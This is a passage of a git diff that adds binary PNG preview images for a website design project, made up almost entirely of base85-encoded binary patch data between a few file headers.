zUl)K-Vy-|Vb%qiKF6W$p<=aZv#FuG_s}scxC9s7yH$g0f=IoeFz+XGI|pah%Qb8U!?Qj=HYFtK(N2A|mDcV5Wfd!a2;OKi*b9xE1MEN!xgYQ0-ClbB zw{8^BOF6HM!;2;>2c>oGI1>Uoe*V)0BQ>$I){w4AVo?~?#Gs|vK4!V-_S2OiZYkaG zhS!o7rXnIL7u?2Q2O)|l3B`V}#d-N;DT2!+E5=>0=+$(wLQkrud{a_BU8d9T@CWRS z^8f7mRbFI?S9KBk;NlRrPbS%jkZmQJ1^fWY}Pw zr;X7tK@#|@@|GZ=rn8;oI?0754e%NGF}?%%MEtI2i_5b=2m&PB%%J z°qi+h-y4Be|uaLxZC6wJwr~hXl z40z=Nuw4A^QX=_DVbro{I25;h&m+tq<@i^vq-;uK4~=ON(K0Th29hX6&0?eEc_CXWm8@Jdg4r5 zjwDl*RQX7V3A3}%RyzE>_P4lxHlh{W#dLM^ID|+hHJX^T$kOvoX6qh0^x_Oq4l zWRQe>H6mskaoS~uO`E(eKqFRe4!FHAWRT#B1y!WKaI=N}>37MG(#NTeyUs>-UX6Y*`U?bz9lG|M$*^GQoyxu> zc+poTdJlniJn8tv6M30_M&)dg?W2F9Cby%h^HR$- zq?0O`7wN~IX@8ro-HdC~rF-l?P+**EyoC{=z)6h+KG~uUq(unYeV@+%GQ*E`)gwID za@X^fhb)=BXApQ?znxN(`R*qD+Lfwcbp>cwx7oZIm@q{3}<0dDLRnIID}G0SiZq=HELf{(7?1wLFQzp~qSU;nqKIovZ#= zW$F{2fJk`1PQn+_yl`zIoI_HwqfjdXJ`}vV~OWYGT;hD6)rL2+|i@ zlmrhERiOdZ2_11*TD9NgiCs_^Q@lZ6~<3J=mR5tY(Tpp)s#6KRu`F1N}BFVM4MRn%W3);15qw}ycYBrxC zx>2_q&=n1QVSc)MiCR7W+Ga}g;{7!~;zUBDudDOAT$dUjg(Hra2Wic&ihR^>@3B$PqKUxsag@27F?Ul#G_^jxe{nr#O0zHwc57#NX1ADL z)Iq-ojs&NNskuK0UVS+OV{d!nO#g%8$wYhUN0$krq!z>WKU@g&=WbrCesxOdr1B^1 z!s8dvn5-w*Uh@2-EuxK;Cl|va83k?NGaXIOE?rSbUJInQecIBYYv5g-yc zYR2J@)3Z%esgk1rP0@xvNx+)FZ4qBLm!(LfpRE2xfs!mu_CP>LpJ9ApawG;YUBL^C z;n+}=^hsp=GFZ|6C>8KP7yNqwU7P@E@AgBHc0&ETU}^gl3bR4e)U9(~4MWya@d1rs zhZwK;Hd&BN7dwhW{XFNul5g&b&)*i8IhYkG{|VbXw2xA&g-FY+plkwKFlGgP zb&3C|J3S@--T_bzujnqt&uht z=cx2z@wH*Qm{B^6Sd{F^q4iQQosU3ofCIMHirl9?h*+E31pb|zZhvTc1bhs8@?t@f zeYjeQZCt}Ky1rS0xip9cKo)2EAN@eu=~Kvn*`0!z-4hw4bJX!t$mpknKK-;03pa43 z7dC^sa5>F58~)ptMcbx%V}rCE1K_N#0h|qG;e1AEiiB+k4sR1_NrU`@`hs>uAw?t0 zALCckftb@8J>LL>3~Cvzru-+zr)oO)Z7ATM_rGy&Wj_(&nJm@9^!!v)g;4JiA->jPa0unXrG3`{*hxxE009G`#7 zDpC>aicqdmj&43vESg8u>xVC|C*?1N>16!cq}OWDG2^n+luLJAI7>5j0o*d+1%}=c z{OZ*~PwE4)N!zbJ58_^$Q2=x4O}f~1z*?)t(tNs>Ya`V77PAP}+92MCr)y&;V7WCR z(r&D;Rxq7$qXRNP5@)mkhm{BnJB7cim8-si5jXKkfo!W zV1I2`AmrqlK)FGsYQh5TZ?>QhXG*|@g6mBl6afRbFBEp`hj{U@73tEi+^%K5Ulh(- zgl~1Ao-EnD7#0@Ra~9eQ;__&fytHb2|HL$-anwV1FGHUkBKn zWn!-jey8%!xBvd{OaF-=>^~9wCj!`iBKS`Pz-|0z3;wSa0Y{YQRtv%2Wx->FZdu;b zrJKa@1Ppff4D>Mw=1%>bFn&}V{K8=WeL*aj|K#xhp%2L!qf210rSiwj4xHKlpYn*6 z=07?7XH5Q&Hmaak754N6L`8w%?{A3Z1Ah*R*&^U0G8V?s|Ml{}FFa&^Zx)1RDwbP literal 0 HcmV?d00001 diff --git a/website-design/previews/anim2-v6-t20.png b/website-design/previews/anim2-v6-t20.png new file mode 100644 index 0000000000000000000000000000000000000000..2f0fed1ce1c801c7ecaa0b37bdff92b5bdbdbfd9 GIT binary patch literal 67195 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 